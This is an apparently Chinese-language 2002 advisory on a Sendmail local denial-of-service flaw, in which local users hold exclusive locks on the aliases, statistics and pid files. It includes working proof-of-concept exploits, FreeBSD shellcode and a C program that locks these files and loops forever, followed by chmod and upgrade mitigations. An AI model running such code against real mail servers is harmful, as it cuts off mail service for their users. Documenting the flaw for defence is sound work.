Sendmail文件锁住产生拒绝服务攻击漏洞发布时间:2002-05-28 更新时间:2002-05-28 严重程度:中 威胁程度:本地拒绝服务 错误类型:意外情况处置错误 利用方式:服务器模式 BUGTRAQ ID:4822 受影响系统 Sendmail Consortium Sendmail 8.9 .0详细描述 Sendmail是邮件传送客户端,可使用在多种操作系统下。 flock()或者fcntl()函数用来锁住文件以防止其他未信任用户操作,如使用读的锁类型时文件只允许对文件读操作,可防止其他进程对此文件获得写操作。而攻击者可以通过使用这些函数对某些文件进行独专性操作而一直占有这个文件,使应用程序停止响应。 sendmail相关文件如别名,maps,统计和pid文件存在此问题,攻击者可以通过独专这些文件而使sendmail或者相关工具不能正常操作。 要判断SENDMAIL使用何种上锁方式,可使用如下方法: sendmail -bt -d0.10 < /dev/null | grep HASFLOCK 如果HASFLOCK有输出,系统就使用flock()方式上锁,否则就使用了fcntl()方式。 测试代码 /* FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db Written by zillion (at http://www.safemode.org && http://www.snosoft.com) More info: http://www.sendmail.org/LockingAdvisory.txt */ char shellcode[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x14\x50\x56\xb0\x05\x50\xcd\x80" "\x6a\x02\x50\xb0\x83\x50\xcd\x80\x80\xe9\x03\x78\xfe\xe8\xe1" "\xff\xff\xff\x2f\x65\x74\x63\x2f\x6d\x61\x69\x6c\x2f\x61\x6c" "\x69\x61\x73\x65\x73\x2e\x64\x62"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ----------------------------------------------------------------------- #include <fcntl.h> #include <unistd.h> /* Stupid piece of code to test the sendmail lock vulnerability on FreeBSD. Run this and try sendmail -t on FreeBSD for example. More info: http://www.sendmail.org/LockingAdvisory.txt zillion (at safemode.org && snosoft.com) http://www.safemode.org http://www.snosoft.com */ int main() { if(fork() == 0) { char *lock1 = "/etc/mail/aliases"; char *lock2 = "/etc/mail/aliases.db"; char *lock3 = "/var/log/sendmail.st"; int fd; fd = open(lock1,O_RDONLY); flock(fd,0x02); fd = open(lock2,O_RDONLY); flock(fd,0x02); fd = open(lock3,O_RDONLY); flock(fd,0x02); /* We are here to stay! */ for(;;) {} } } 解决方案 暂时改变SENDMAIL某些文件的权限: chmod 0640 /etc/mail/aliases /etc/mail/aliases.{db,pag,dir} chmod 0640 /etc/mail/*.{db,pag,dir} chmod 0640 /etc/mail/statistics /var/log/sendmail.st chmod 0600 /var/run/sendmail.pid /etc/mail/sendmail.pid 请升级到SENDMAIL8.12.4版本。 相关信息 lumpy <dynamo@ime.net>. 参考:http://online.securityfocus.com/archive/1/274029 http://online.securityfocus.com/archive/1/274033 相关主页:http://www.sendmail.org/ |